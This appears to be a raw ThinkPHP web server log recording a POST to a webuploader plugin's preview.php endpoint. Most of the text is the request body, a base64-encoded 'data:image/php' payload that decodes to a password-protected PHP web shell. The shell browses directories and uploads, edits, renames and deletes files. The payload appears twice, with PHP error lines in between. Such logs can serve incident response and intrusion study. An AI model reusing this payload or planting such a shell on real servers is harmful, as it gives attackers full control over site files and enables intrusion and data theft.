'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8' => '', 'iscwo_kaifu' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:16+08:00 ] 119.42.146.234 POST 59.110.137.245/public/style/admin/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002759s] [吞吐率:362.45req/s] [内存消耗:196.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'style', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSA